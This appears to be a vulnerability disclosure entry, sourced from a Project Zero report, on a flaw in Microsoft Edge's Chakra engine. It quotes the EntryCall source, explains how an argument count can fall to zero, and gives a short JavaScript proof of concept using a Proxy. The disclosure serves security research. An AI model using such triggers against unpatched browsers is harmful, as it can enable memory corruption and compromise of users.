Microsoft Edge Chakra – ‘JavascriptFunction::EntryCall’ Fails to Handle ‘CallInfo’ Properly
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1295 Here's the method. Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, ...) { PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault); RUNTIME_ARGUMENTS(args, callInfo); ScriptContext* scriptContext = function->GetScriptContext(); Assert(!(callInfo.Flags & CallFlags_New)); /// /// Check Argument[0] has internal [[Call]] property /// If not, throw TypeError /// if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0])) { JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u("Function.prototype.call")); } RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]); if (args.Info.Count == 1) { args.Values[0] = scriptContext->GetLibrary()->GetUndefined(); } else { /// /// Remove function object from the arguments and pass the rest /// for (uint i = 0; i < args.Info.Count - 1; ++i) { args.Values[i] = args.Values[i + 1]; } args.Info.Count = args.Info.Count - 1; } /// /// Call the [[Call]] method on the function object /// return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args); } Chakra uses the first value of "args.Values" as "this" and "args.Info.Count - 1" as the length of the arguments. So "args.Info.Count" must always be 1 or greater. But the problem is that the method decrements "args.Info.Count" by one without considering the flag "CallFlags_ExtraArg". If the flag is set, the value of "args.Info.Count" will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of "args.Info.Count" becomes 0. PoC: --> function f() { print(arguments); } let call = new Proxy(Function.prototype.call, {}); // proxy calls set the flag call.call(f); |